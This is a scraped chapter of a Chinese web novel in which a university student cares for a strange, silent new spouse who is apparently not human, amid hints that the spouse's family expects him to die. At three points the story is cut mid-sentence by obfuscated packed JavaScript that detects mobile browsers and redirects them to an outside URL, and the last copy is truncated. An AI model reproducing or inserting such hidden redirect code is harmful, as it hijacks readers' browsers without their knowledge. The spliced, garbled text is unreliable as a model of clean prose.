因为太久没有出门吗?从古宅来到城市,他看向周围的目光很新奇,如同新生儿一样到处打量,看花看树,看建筑与车流,连路上的街灯也值得他为此驻足……很需要别人的指引和解释。 牧晋修继续说:他让我想起了一些事情。 田皓不愧是和他一起长大的人,立马懂了他的意思。屏幕那边沉默了一会儿:行吧,反正谁也改变不了你的想法,我看你就是犯骑士病了。 没办法,牧晋修本来也只是打算去走个过场,在合同上签名的是牧肃威,又不是牧晋修,如果他偏偏要和他们作对,结婚这种事情,除非日日派人看守,否则确实没有办法强求。 要是大少爷不喜欢他就更好了,一拍两散,各自欢喜。 但一切出乎他的意料。那时他推开门,看见黑漆漆的屋子里孤零零地坐着一个人,实在是没有办法说服自己就那样离开。 牧晋修也说不清楚这是什么样的心情。 他无声地叹了一口气。放下手机一抬头,正好看见了水玉岫转了一圈回来,站在歪脖子的艺术花瓶前,对那几支淡粉色的欧月闻闻嗅嗅,然后张开嘴—— “哎——!” 牧晋修一个大跨步冲上前,水玉岫被他忽然的出声打断,有点茫然地停下动作。 趁这间隙,牧晋修马上一把将花瓶夺过,手臂一伸,远远地搁在另一个角落。 整个过程眨眼之间,一气呵成。牧晋修这才解释说:“这个不能吃,花店买的,上面说不定还有什么药物残留,不健康。” 大意了。 牧晋修心想真是大意了,一个没看好差点要出事。总不能让人到家第一天就生病吧! 少爷看起来明显不开心了,眉耷拉下来,表情有点冷冷的。 “啊——” 牧晋修不为所动:“没有开玩笑,不能吃就是不能吃,张开嘴我检查一下。” 他的拇指摩挲着对方软软的唇角,卡住即将闭合的牙关:“还有乱吃什么别的东西吗?” 牧晋修顿了顿:“……哥,可以别咬我吗。” 水玉岫的牙齿很健康,整洁瓷白,口腔干净,唇舌湿红,没有发现其他的食物残留。 牧晋修这才稍微放下心。 然后一抬头,就对上对方冷冰冰的目光。 “……”牧晋修讪讪地举起双手:“可是那个花真的不能吃嘛。” “想吃的话,西峰路有一家烘焙店,明天给你买鲜花饼。”牧晋修说:“不要生气了,你要注意身体。” 空气好安静。 水玉岫的目光还在往花瓶的方向看,没有要和他和好的意思。 “抱一下。”见对方还是无动于衷,牧晋修移了一步,挡住他的视线,张开手:“哥,抱一下就不生气了,好不好。” 他像人鱼蛊惑水手一样蛊惑着水玉岫:“那家店开好久了,饼皮酥脆,咬一口会掉渣,里面的夹心也很好吃,花瓣用糖腌制过的,一定合你的胃口。” 过了好一会儿,水玉岫才学着他的动作,两只手臂微微抬起,张开。 牧晋修马上合拢手臂,把他拢到怀里。 小小一只,抱起来有些单薄。 拥抱的时候,牧晋修又闻到了对方身上那种类似于檀香、又混合着花果香的味道。 他很快把人放开:“是不是有点困了,你平常多晚睡觉?” 因为本来也没想到家里会多出一个人,很多东西没有事先准备。 牧晋修在衣柜里翻出一套没穿过的睡衣,是之前买小了闲置的,他对着水玉岫比划了一下,感觉还是有点大:“明天去买新衣服,晚上先穿这个凑合一下吧?” 水玉岫看上去没有不同意的意思,他懒洋洋地靠在墙上,看牧晋修调好了水温,要他过来伸手试一试,然后才在浴缸里放水。 牧晋修现在特别特别担心一个不留神水玉岫又打算偷偷吃什么奇怪的东西,但他总不能看着人家洗澡吧:“有事情随时叫我,我就在外面。” 他点了点水玉岫的鼻子,严肃道:“什么都不要吃,好吗?你答应我了。明天出去再给你买好吃的。” 水玉岫歪歪脑袋,不知道有没有听进去。 浴室门关上,牧晋修站着等了一会儿,听到里面传来了淅淅沥沥的水声,这才稍微放心。 他扒拉个小椅子,坐在外面,翻看手机。 他是本科生,但假期里偶尔会给学姐学哥们去实验室里帮忙,跑跑数据,也算给自己找点事情做。所以一来二去,一群人也算熟悉。 他之前负责的部分结束了,正看着学哥给他发的一些注意事项和要点,忽然一条新消息弹了出来。 [张立业]:我这周日提车,请几个朋友吃饭,你来不来 [张立业拍了拍Mu] 牧晋修看了一会儿这条信息,其实不大想去。 他对这个人的印象不太好,但一来对方既是同班班委,还在学生会任职,人缘不错;二来,两人没有什么具体的矛盾,表面上的关系还过得去。 牧晋修想了想:恭喜,我就不去了(放鞭炮jpg.) [张立业]:咋了,有什么事吗 [Mu]:实不相瞒,我结婚了,走不开。 [张立业]:噗哈哈哈哈 [张立业]:不来就不来呗,借口也不找个好点的 [张立业]:你最近不就给程哥帮忙那个实验吗,这有什么好和我瞒着的,上次和程哥吃饭,他都跟我说了 [Mu]:哈哈哈 [张立业]:不过我也理解,没事 理解了什么?牧晋修都没理解。 不过反正是糊弄过去了。牧晋修没什么表情地退出聊天框,刚好身后把手转动,门开了。 “哥,我……” 牧晋修坐在小凳子上,毫无防备地转头,就看到了—— 一双又长又直的腿。 “……” 牧晋修马上转过身,大脑一片空白,耳朵很快红了,双手捂住脸在心中无声大叫:啊啊啊啊啊啊啊…… 水玉岫似乎又往前走了一步,牧晋修感到有水滴落到他脖子上,浴室里的湿热水汽争先恐后往外涌,激起皮肤上的阵阵战栗。 “衣服!衣服!”牧晋修声音越来越小,几乎像是在求饶:“就在架子上,哥,你先把衣服穿起来……” 水玉岫站着不动,好像觉得他这个反应很好玩。非但没理会他的话,还伸出手,指尖在蹲坐着的人后颈上轻轻一点,水珠便顺着肌肉流淌下去了。 从脖颈,沿着脊椎,直落到腰间。 “……” 牧晋修安静了一会儿,闭着眼站起来,摸到浴室门框,火速闪现进去,然后抓起挂着的浴袍,飞快把人裹住了。 他动作很僵硬,生怕自己碰到什么不该碰的地方。 ……这个姿势,简直是把人整个抱在怀里。 水玉岫被一条长浴巾毛绒绒地包起来,他晃了晃脑袋,倒是很无所谓。靠在牧晋修怀里,还用目光催促他快点。 牧晋修脸上的温度还没下去,不太敢看他,表情难得僵住,嘴唇紧抿着。 糊弄地擦拭了一会儿,感觉剩下的都是自己不方便碰的部位,又艰难开口:“……哥,你能不能自己来。” 水玉岫脑袋枕在他肩上,很放松地往后仰,没有一点要伸手的意思。牧晋修作势要咬他的脸颊,他也不躲,好像知道牧晋修不会对他怎么样似的。 牧晋修:“……” 太坏了,根本拿他没有办法啊。 . 好不容易换好衣服,牧晋修在给他吹头发的时候絮絮叨叨长篇大论,用一种比“不许乱吃东西”更严肃的语气告诉他“要好好穿衣服”,不能给别人看到光溜溜的样子…… 然后他便很惊奇地发现,虽然水玉岫头发长,但干得格外快,没一会儿就吹好了,人也很快地溜走了。 牧晋修:“……” 牧晋修对着他的背影喊:“不许不穿衣服!” 水玉岫置之不理,独自去大厅给自己倒橙汁喝。 . 本来打算安排水玉岫去客卧的床铺睡,床都铺好了。 但对方像一个小尾巴一样亦步亦趋地跟着他,也不说话,不太想睡那里的样子。 牧晋修和他对视了一会儿,想了想,还是把人带到主卧。 客卧的被子被搬了回来,放在床另的一侧,还摆了个新枕头,然后牧晋修拍了拍床垫示意:“来睡吧。” 水玉岫看了看他,慢吞吞地把自己移到床上,动作莫名有点呆呆的,挪挪脑袋,抬抬腿,睡得也相当板正。 这个时候看起来还是很乖的。 牧晋修扬了扬嘴角,摸了摸他的头发,然后给人盖上被子。还顺手把墙上的夜灯打开,这样熄灯后屋内不至于太黑。 床足够大,躺了两个人也不会局促。但以防万一,牧晋修还是打了个预防针:“我没和别的人一起睡过,也不知道睡相怎么样。不过应该不会把你挤下去吧。” 咔哒。 灯熄灭了。 水玉岫转过头和他对视。不知道为什么,牧晋修喉咙有些发紧,他清了清嗓子,在黑暗里用气音道:“睡吧,哥,晚安。” 顿了一下,他又道:“如果害怕的话,可以凑过来一点。” .35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613599|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 也许是因为带着这种轻微紧张的心情入睡,牧晋修这一夜睡得不太安稳。 他梦到了好多乱七八糟的东西,奇形怪状的黑色长影在四处游动,仿佛有生命一般,看起来就像在……捕食。 ……什么乱七八糟的。 牧晋修拧着眉,醒来时意识还没完全清醒,脑袋还隐隐残留着钝痛。 卧室里好像格外得黑,他揉了揉太阳穴,撑着手臂坐了起来。 刚醒有点迷糊了,忘记旁边还躺着一个人,没有刻意收着声音。 不知道是不是被他的动静吵醒了,一转头,水玉岫睁着眼睛缩在被子里,一点困意都没有的样子。 牧晋修:“……” 牧晋修:“不好意思……吵醒你了吗?我以后会小声点的。” 他从床上坐起来,然而水玉岫也不打算继续再睡的样子,也跟着坐了起来,还学着他的样子,有模有样地伸了个懒腰。 牧晋修忍不住笑了,水玉岫的动作一顿,视线移了过来。 因为衣服不合身,又睡了一夜,领口歪到一旁,半个肩膀露了出来。 牧晋修伸手给他正了正衣领,又飞快地捏了捏他的脸颊:“哥,早安。昨晚睡得好吗?” 水玉岫眨了眨眼睛。 牧晋修又笑了:“嗯,那很好。我们去吃饭吧。” . 早饭吃得简单,牧晋修煎了鸡蛋和牛肉,打算做三明治,他开了一罐果酱,先用勺子给水玉岫喂了一点,看他点头,才均匀地抹到面包片上。 又给两人倒了牛奶。 牧晋修动作熟练,做完这些,他转头招呼水玉岫来吃饭。 然而一看见对方的站位,牧晋修立刻警觉起来。 他离开餐桌,把那一瓶欧月,还有阳台上的两盆果汁阳台通通搬到房子外面,谨防某人偷吃。 水玉岫这回倒是没太大反应,只是看了一眼牧晋修,好像还记得他们鲜花饼的约定,所以不再惦记那几支花束。 牧晋修自然要夸奖他,还保证一会儿吃过饭了就带他出门。 ——然而忙着搬花,似乎并未发现,不知道什么时候,那瓶子里的月季少了两片花瓣。 水玉岫若无其事地转过头。 . 等回到餐桌,水玉岫坐在桌前,咬一口三明治。口感很软,鸡蛋嫩滑,牛肉有特殊的香气。 人类食物和他之前吃过的东西不同,这种精加工的食品,将原料进行细致处理,还会用各种调料进行风味调整。 变成人类要做很多额外的麻烦事情,比如要用布料遮掩身体,要学习新的语言,要昼出夜伏,要用他们的方式清洁……人类制造的东西也很脆弱,一不小心就坏掉了。 但是吃到好吃的,便觉得还可以再忍耐一会儿。 他在面无表情地专心进食,旁边的人对早餐就有些三心二意了,目光总是经常落在他身上。 看水玉岫吃东西很有趣,他会先观察一下食物,然后闻一闻,做出基础判断,然后再选择是否食用。 如果符合口味,就会试探地咬一口,脸颊鼓起,随着咀嚼一动一动。 最可爱的地方,是他的表情始终没有太大的波动,仔细观察才会发现变化。 如果吃到喜欢的,眼睛会亮一些,表情也更加舒展;如果不喜欢,就皱一下眉,咬一口便不再碰了。 赵管家有一点倒是说对了,他确实有点挑食。 不过挑食又不是缺点。牧晋修笑了一下,觉得自己现在已经是一个入门级别的水玉岫观察学者了,忍不住摸了摸他的脸颊。 很破坏气氛地,电话在这个时候响起,牧晋修看了一眼备注,让人继续吃饭,自己走到阳台接起:“喂?” 赵管家沉默了足足半分钟,在牧晋修“不讲话挂了”的威胁中,才试探地开口:“牧先生?” “赵先生。” 牧晋修语气蛮平静的:“我以为你是看好了电话备注,才会选择拨出号码的。” “哈哈。”赵管家有点尴尬地干笑了两声:“您还好吗?” 牧晋修:“一直很好啊,有事直接说吧,我还要吃饭。” 赵管家磕磕绊绊:“呃、就是,您、您这边……” 赵管家咽了口水:“您昨晚……没什么事吧?” 语气谨慎,带着一点试探。 牧晋修挑了挑眉:“首先,他脾气挺好的。我不知道你到底在担心什么。” “其次。” 牧晋修怒从心头起、恶向胆边生:“昨晚?新婚第一天,洞房花烛夜,你是想知道这个吗?” 赵管家:“……” 赵管家把电话挂了。 牧晋修无声地冷笑了一下,一转身,水玉岫就站在他身后,手里拿着个三明治,还在嚼嚼嚼,不知道听了多久。 牧晋修:“……” 5. 甜品 场景重现,被抓了个正着。 牧晋修张了张嘴,方才对着赵管家的冷笑立马收了,很迅速地举起双手投降:“哥,对不起,我刚才随便说的。不然我再打个电话回去解释一下?” 水玉岫没讲话,依旧很平静地在进食。他把牧晋修组装好的三明治拆开,将食材分开吃掉了。还剩下一片面包,他要牧晋修伸出手来,放在掌心,然后率先转身回到餐桌。 “……” 牧晋修跟在他身后,按照他的心意,把这片特地留下的面包涂满果酱,水玉岫这才满意地接过,继续吃他的早餐。 完全就是小动物啊。 牧晋修有点好笑地看着他。 水玉岫吃东西的样子相当认真,为这样的人做饭会很有成就感的。 牧晋修上中学的时候,曾经有一段时间在他哥的饭店里帮忙。那时,“刘只鱼”还没开成连锁店,只在门口挂了一个很小的牌子,叫“刘记小炒”,现做现炒,偶尔会接一些酒席承包。 店面不大,但是生意挺好,过来吃饭的食客大多是附近学校的学生,偶尔也有干活的工人,坐得满满当当,还要在店外搭桌子摆椅子。 那个时候,牧晋修不愿意去学校,也不爱讲话,相当长的一段时间仿佛丧失掉语言能力,刘钟灵和刘义明拿他没办法,毕竟牧晋修并不是他们的亲弟弟,而牧肃威不管这个儿子,才不在乎他上不上学。 学校那边下了好几次通知,无果,最后只能给他办了休学。 牧晋修有时候去后厨洗盘子,有时候端菜,有时候记账,每天会看见很多张不同的脸,在繁忙生活的间隙,抽出时间投入地享受食物。 一日三餐,而人生在世三万天,每天都要进食。 那个时候他就明白了,好好吃饭也是良好生活中的一部分。 除了小时候以外,牧晋修觉得自己这辈子其实过得还算不错。他高考考到一所重点高校,目前的成绩也足够顺利保研,有学历加持,就算要就业也不愁找到好工作。 就算父母没怎么管他,他依旧把自己的生活过得很好嘛。 所以现在再照顾一个水玉岫,也是完全没有问题的。 牧晋修想到这里,不再想了,笑眯眯地抽了张纸,把水玉岫嘴角蹭上的果酱擦掉了。 . 早饭过后,才堪堪九点出头,牧晋修回卧室,去给水玉岫挑出门的衣服。 他找出自己之前的衣服,按照水玉岫的尺码,给他搭了几套休闲风。左看右看还是有点拿不准,打算叫人进来试试。 出来一看,水玉岫已经没坐在位置上了。独自绕到那个四四方方的大盒子面前,他记得牧晋修昨天就是从这里拿出橙汁和各种甜甜的果子。 里面有好吃的东西。 他回忆着牧晋修的动作,手放在盒子中间的缝隙里,稍微一用力,把它掰开了。 里面的冷气立刻扑面而来。 水玉岫抬起头看,盒子里果然装着很多东西。上面有绿色的菜,有昨晚吃到的水果,还有一些他没见过的东西。 他还在认真审视,有脚步声接近,一只手臂从他身后探了过来,撑着保鲜区的最下层,牧晋修的下巴虚虚搁在他脑袋上:“在看什么?” 牧晋修身上总是很暖和,和冰箱截然相反的温度很快笼罩了水玉岫的后背。有地方靠着,水玉岫马上就卸力了,毫不客气地靠在他身上。 冰箱里的东西其实蛮杂乱,除了果蔬以外,有耗油瓶和番茄酱等调味品,有嫂子做的水果罐头,还有些饮品:果汁、汽水、啤酒、酸奶…… 牧晋修把啤酒往里面推了推,将几盒不同口味的酸奶挑出来,要他自己选。 水玉岫拿了芒果味和蓝莓味的,在凉凉的瓶身摸索一圈,然后抬头看他,意思是现在就要吃。 牧晋修便先开了一盒,给他拿了个勺子,好笑道:“那一会儿还去吃饼吗?” 水玉岫没理会,给自己舀酸奶吃,看完上面的盒子,还要看下面的。 牧晋修于是继续解说:“里面就是一些生鲜,肉类,丸子……哦,倒是有雪糕,想吃这个吗?但你会不会着凉。手怎么还这么冷,空调温度太低了吗?” 牧晋修的手心覆盖在他手背上,试了下温度,很快便移开了。水玉岫垂眼,看着自己的手指思索着。 小零食吃完,牧晋修拉着他回了卧室:“等会儿要出门了,来试一下衣服。” 水玉岫懒得动,还想去吃冰淇淋,但在牧晋修的软磨硬泡中,还是不情不愿地换上了。 他长得好,天生的衣服架子,虽然牧晋修的衣服对他来说有点大,但看上去并不违和,反而增添了一点松弛感。 真好看啊。 男友衬衫。 牧晋修咳了一声,努力把这个想法从脑袋里挤出去了。 和这样一个美人共处一室,无疑相当有冲击力。 尤其是他那张脸,漂亮得利落分明,若是长久对视,甚至会产生一种晕眩感。 还好是牧晋修把他带回来了,万一碰上了什么坏人呢? 太危险了。 牧晋修暗自叹了一口气,然后撑着脸看他,有点失落、有点期待:“哥,你什么时候才能和我讲话呢。” “……” 水玉岫似乎在思考,片刻后看向他,微微张开嘴。 幅度很小。 牧晋修尚未意识到这个举动代表着什么。 然而一瞬之间,仿佛有很多信息飞快挤入他的脑海,过多的讯息让大脑处理过载,一时间根本无法辨清其中的含义。 ……只觉得脑袋像是要被什么东西装满了,头疼欲裂。 牧晋修还来不及弄清楚这究竟是怎么一回事,整个人忽然失掉了力气,眼睛一片昏黑。 下一秒,牧晋修晕了过去。 “……” 房间里一下子变得好安静。 水玉岫怔了一会儿,难得有点不知道如何是好,摆弄着手指,把嘴巴闭起来了。 ……明明是你要我讲话的嘛。 他绕着牧晋修走了两圈,蹲下来戳了戳他的脸颊和胸膛,长发垂落在牧晋修身上,又俯下身去听他的心跳。 虽然觉得牧晋修应该不会有什么事,但是又有点不确定,毕竟人类是多么脆弱而短命的生物。 水玉岫其实对这个人类还挺满意的,虽然相处短暂,至少他看见自己不会发抖,或是躲在角落里缩成一团,而且会提供许多好吃的东西,身上还很暖和。 他又围着牧晋修绕了一圈,叹了一口气。 . 醒来的时候,牧晋修发现自己躺在床上,身上堆着酸奶、面包、果冻,而水玉岫正坐在他旁边。 “怎么回事。”牧晋修有点懵,撑着手臂起身,对刚才发生的事情感到茫然且疑惑:“我昨晚也没有很晚睡吧……” 他转过头一看,水玉岫眉间微微蹙起,好像有些发愁,见他醒了,似乎松了一口气,然后慢慢伏在他怀里,乌黑的长发散开。 牧晋修下意识伸出手把人搂住了,看着自己身上东一瓶西一包的零食,感动道:“你是在担心我吗,哥?” 水玉岫这回紧紧抿着嘴,严肃地看着他。 . 牧晋修本来打算早上自己开车带人出门,田皓之前出国前留了一辆车库里不怎么开的车给他,他偶尔拿来代步。但是看今天这个不知道为什么突然晕过去的状态,他想了想,还是抛弃了这个选项。 从槐安路到西峰路有三四十分钟车程,牧晋修打了车,和水玉岫撑着一把遮阳伞。 那家店不温不火,过去是一位大姨在卖老式糕点,牧晋修小时候过生日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613600|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,陈敏秀会在这里给他买色彩鲜艳的鲜花蛋糕,花是用奶油做的,下面用一个小小的脆皮蛋筒托着,他每次都要留到最后才吃。 后来大姨的女儿从别的城市回来,接手了这家店,经历过几次装修,已经和曾经大不相同了。 近年来,也随着潮流加了一些新甜品。 在等大姐装鲜花饼时,水玉岫就低头认真看玻璃柜里装着的小蛋糕和甜品,然后转头看了牧晋修一眼。 牧晋修笑了:“买买买,想吃哪个?” 等到结账完,牧晋修拎了一个大袋子出来,而水玉岫咬了一口麻糍,对里面甜蜜的水果奶酪夹心很满意。 出了店面,牧晋修站在路口,忽然有些怀念:“我以前上学的时候,每天会经过这条路。” 他笑了笑,转头摸摸水玉岫的头发,发尾已经被太阳晒得暖呼呼的,很欣慰:“就要多晒晒太阳啊,闷在房间里算什么健康。你觉得呢,哥?” 水玉岫很乖地给他摸头发,脸颊鼓动着,好像并不是很在乎什么太阳。 . 白天商场里的人流比晚上少,又是工作日。牧晋修担心见到的人太多,水玉岫会不适应,特地选了这个时间。 他们又从西峰路离开,打算坐车到中心商场。 太阳渐渐大了起来,将柏油马路炙烤得几乎融化,车载空调勉强将外界的温度隔绝在外。 坐进车里后,牧晋修忽然想到了另一件事,他摸出手机,给赵管家发了条消息。 [Mu]:证件什么时候能送过来? . 赵管家擦了擦额头的汗,感觉领带勒得脖子发紧。看了一眼消息,又把手机放下了。 水忠才有点诧异,压低声音重新和他确认了一遍:“还活着?” 赵管家回忆着早上的通话内容,点点头:“是……打电话确认的,而且他、好像什么都没察觉。” 水忠才也有点诧异,不过他思索了两下,随即冷笑一声,并不是很在意:“反正牧肃威把他儿子卖了,以后怎么样、是死是活,也是看自己造化了,和我们没关系。” 但不管如何,这段时间,多少得把人稳住。 “牧家那个小子,好不容易找到这么个人……” 水忠才顿了顿,嘱咐道:“他要什么,你配合着就是了,别让人起疑。” 听他这么说,赵管家根本不敢出声,只能点头应是。直到目送他离开了,才扯了扯领带,稍微喘过气。 赵管家大学学的是酒店管理,毕业后当了几年销售,还回老家做了一段时间的自由职业——跟他奶奶出马跳大神,最近两年才回到大城市重新找工作。 他觉得水家来雇佣他做这个管家的最大原因,就是看重了他这个经历,毕竟据说这个岗位,以前只要哥大毕业的研究生,完全高攀不起。 虽然这件事从头到尾处处透着诡异,水家人自己对此避讳如深,原本的老管家前几个月前忽然脑溢血死了,老宅的佣人换了好几批,辞职的辞职,生病的生病,那个叫萍萍的佣人上次还哆嗦着和他说,那座房子闹鬼,好端端的竟然凭空生出一个人来…… 甚至赵管家本人,也感到了那个地方的阴冷和古怪。 ——还有那个传闻。 但耐不住水家开出的工资实在是个诱人的数字,只要为他们打工七年,就可以在这座城市地理位置最好的地方,买下一个带着露台的漂亮公寓。 ……只要等到这个事情平稳地结束。 赵管家在心里默念几遍“爱国敬业诚信友善自由平等公正法治……”,然后才回了牧晋修的消息。 [赵管家]:不好意思,是这样的牧先生,因为少爷他太久没出门,有些证件过了有效日期,需要重新进行信息采集。 [赵管家]:您看您这边方便为他照个相吗? 6. 小猫 牧晋修盯着这几行字看了一会儿,把屏幕按灭了。 窗外,车流在十字路口走走停停,城市的灌木被精心修剪出形状,三角梅一簇簇,变成圆润的球形,看起来有点像甜筒冰淇淋。 手机在牧晋修的掌心里,跟随着两指转动着方向,每换一个方向便在膝盖上敲一下、停一下,不知道在想什么。 水玉岫很快把那只麻糍吃完了,手心蹭上了一些白色的糯米粉,还好牧晋修有先见之明,注意到后很快拆了一包湿巾给他擦手。 擦完一看鼻尖也蹭上了一点,本人还无知无觉,舔舔嘴唇,面无表情地靠回椅背上。 哎呦。 牧晋修一笑,伸手捏了捏他的鼻尖,水玉岫莫名其妙地看了过来。 说起来,水玉岫似乎就没有笑过。漂亮是漂亮,但脸上总是很冷淡,冷冰冰得有些不近人情。 这种美是锐利的,并不是所有人都有胆量靠近。 但也许是因为亲手把人带回来,牧晋修一点也不怕他冷脸的样子,天然就觉得他好懂好亲近。 看起来唬人,但吃东西吃急了,还会蹭成小花猫。 牧晋修觉得这个联想很可爱,不知道水玉岫知道了会不会生气。 大概率是不会的,唉,都说了他脾气很好的。 . 惠龙商场是霞市规模最大的商圈中心,密室、影院、连锁火锅店应有尽有,入驻的品牌丰富,大厅正中央摆放着一个高达十几米的塑像滑梯,会每隔一段时间根据不同主题策划风格。 牧晋修一手牵着水玉岫,一手拎着印着“枫叶甜品”logo的袋子,坐电梯上了楼。 三楼散发着各类奢侈品的香水味,地板干净得几乎能照出人影。 他们进了一家其中一家店,里面顾客不多,导购很快笑容盈盈地迎了上来,很有礼貌,和两人打招呼。 牧晋修摆摆手,问:“有适合他的吗?” “有的,有喜欢的风格吗?” 导购小姐目光移过来,看见水玉岫的脸先是一愣神,又注意到他的长发,话顿了一下:“呃,这位……” 牧晋修体贴接话:“是男生。” “啊……”导购回过神,不好意思地笑笑:“夏季的新款在这边,这个季度刚刚发售,评价很好。要不要试一下那件白丝绸薄西装,很衬您的头发。” 牧晋修顺了顺水玉岫的长发,后者看上去心不在焉的,他就说算了,他们自己随便看看,让导购去招待其他客人。 牧晋修根据自己的审美,还有店员的推荐,挑了几件,然后请水玉岫尝试一下。 水玉岫对新衣服不是很热衷,尤其是穿衣程序繁琐的,完全懒得动。 牧晋修又不肯帮他穿脱衣服,退出了更衣室,留下麻烦,一定要他自己来,衣服换好了才进来。 水玉岫便随便给自己套上,然后手臂微微展开,剩下的任由牧晋修摆弄。 牧晋修站在他身后,为他系上腰间的绑带。这件衬衫设计得恰到好处,把腰掐得特别细,几条丝带垂落,很轻盈,削弱了一些庄重感。 牧晋修觉得相当好看,适合朋友私下聚会,也适合出席正式的晚宴。 他两只手臂环在水玉岫腰间,就着这个姿势,在人家腰上斜斜打了个蝴蝶结,忽然又闻到了水玉岫身上若有若无的香味,才发现两人离得实在太近。 他觉得这样不太好,于是很快把手放开了。 结账的时候,前台的姐姐笑眯眯地打趣:“出来约会呀?” 估计以为他们都是在附近上学的大学生。 牧晋修也笑了笑,没有否认,也没有说话。 他没打算带着人在外面待太久,只挑了几身外穿的衣服和睡衣,留了地址,让人到时候送上门。 买完衣服,路过麦当劳,水玉岫站在玻璃外往里看他们在吃什么,牧晋修便停下来给他买了一个草莓味的麦旋风,奖励今天水玉岫的良好表现:“说真的,哥,你好勇敢。” 他忍不住又摸了摸水玉岫的头发,忽然想起来发圈还没买,于是又带着人去了一趟饰品店。里面的人倒是不少,所以很快买完出来。 牧晋修往水玉岫头上比划一下,笑了一下,真的额外买了一个粉色蝴蝶结回去。 接近饭点,路上的人流比先前多了起来。两人长得都出挑,牧晋修个子高,接近一米九,宽肩窄腰,五官也很帅气,走在人群中相当显眼。 旁人会先看到他,然后目光顺势看向一边被衬托得很小只的水玉岫,落在他们身上的视线也渐渐变得频繁。 发觉有人在看,水玉岫没什么表情地回视过去。 牧晋修察觉到了,于是把他往自己身边揽了揽,然后选了个人流最少的方向,带着他换了条路:“哥,我们从这边的电梯下去吧。” . 等回到家,牧晋修把东西放下,看着水玉岫穿着拖鞋“哒哒哒”坐到沙发上的身影,觉得今天成果不错,很有收获。 他本来想着若是水玉岫产生了一点抗拒心情,两人立刻打道回府。但一路下来,除了最后有些疲惫,水玉岫的反应都大大超出了他的预料。 牧晋修问:“中午想吃什么?” 其实牧晋修已经想好下面条了,不过家里有两个人,决议得是民主的,于是还是很有礼貌地进行意见征求。 水玉岫是有点思索的样子,但什么也没说。 牧晋修便继续问:“面条可以吗?烫点玻璃菜,昨天的虾仁还没煮完,放点干贝,再加牛肉丸进去煮,汤会很好喝。” 他的提议通过批准,于是很快,热腾腾的面条端上桌。为了鼓励水玉岫多吃一点饭,牧晋修特地给他挑了一个配色活泼童趣的碗。 研究表明,暖色系的餐具有助于食欲的提升。 牧晋修又想起什么,一手撑在桌子上,笑着看他:“哥,你吃了那么多小零食,现在还吃得下饭吗?” 水玉岫反正好好地坐在桌前,听不进一点不让吃小零食的话。 碗上放着一双筷子,他像昨晚使用勺子一样伸手握住那两只筷子,筷子有点滑,动来动去,像在和手指打架。 牧晋修的目光顿了顿。 很快,他绕过桌子,站在水玉岫身旁,俯下身手把手教他,该如何将两只筷子好好地控制在手心:“这样,用这两个指头把住它,靠在这个关节上……” 水玉岫的手指也像筷子,骨节分明,又细又长,体温偏低。 动作有些生疏,力气一松,筷子便从手心里滑溜溜地滚到桌面上,陶瓷质地,响声很清脆。 牧晋修静了一会儿,然后在水玉岫耳边低声说:“没关系。” 他又说了一遍:“没关系。” 然后把筷子捡起来,回了厨房,换了两个叉子回来。先拿起其中一个,示范地给他喂了几口面条,这会水玉岫倒是上手得很快。 见他开始用餐了,牧晋修才坐下来,就坐在他身边,把自己碗上搁着的一双筷子收起来,和他一起用叉子。 等午饭结束,牧晋修很平静地把碗筷放进洗碗机里,脸上看不出什么,但是一个人在厨房洗了足足十五分钟的水果。 终于轻轻地长叹一口气,端着果盘转身,结果水玉岫就站在他身后看着他。 “……” 牧晋修:“哥,你每次都吓我一跳。” 牧晋修用空出的那只手,动作很轻地揽住他的肩膀,带着人出了厨房,往沙发上走。 他放下手里的东西,点开镜头,想给水玉岫拍照:“哥,我给你拍个照好不好?” 手机屏幕很快完成对焦,然而在按下拍摄键之前,牧晋修想了想,又丢下手机,去书房里翻出来一部之前用来给社团活动拍摄宣传图的佳能相机:“拿这个给你拍。” 他让水玉岫坐在沙发中央,然后把他的头发捋到耳后,露出两只耳朵,左看右看,满意地点点头。 水玉岫:“?” 牧晋修露出一排洁白的牙齿,很阳光的男大学生:“哥,来笑一个。” 水玉岫当然没有笑,好像也不是很理解他在干什么。 不过没关系,牧晋修自顾自地找好角度,按下快门,“咔嚓”一声。 下一秒,相机的屏幕闪烁两秒,熄灭了。 牧晋修:“……” 愣了一会儿,他再次确认屏幕,敲敲相机外壳,甚至卸下镜头,拧开机身前盖检查cmos。传感器上同样干净得无可挑剔,没有一丝划痕和霉点,怎么看都十分正常。 水玉岫若无其事,见牧晋修在捣鼓相机,静坐了一会儿,也开始随手在面前茶几下面的隔层里翻找,打开一个盒子,看到里面放着各种包装的东西,看起来都是可以吃的。 其中还有蓬蓬的大袋子,袋子上画着一个小人,还有一个土豆。 水玉岫拈起来晃了晃,里面传来哗啦啦的响声。 牧晋修闻声抬头:“想吃这个吗?” 牧晋修每次说这句话,意味着水玉岫马上就可以吃到,而且东西味道还不错,于是水玉岫很放心地对着他眨了眨眼睛。 然而这回午饭刚过不久,水玉岫午餐时碗里还剩了个底没吃完。 牧晋修怀疑他是因为小零食而影响正餐,顺便对自己的放纵进行反思,语气就有些犹豫:“饭刚吃过,等会再吃吧?” 但水玉岫马上变得不太开心,牧晋修在这目光中败下阵来,妥协了:“……吃吧吃吧,薯片也不占肚子的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 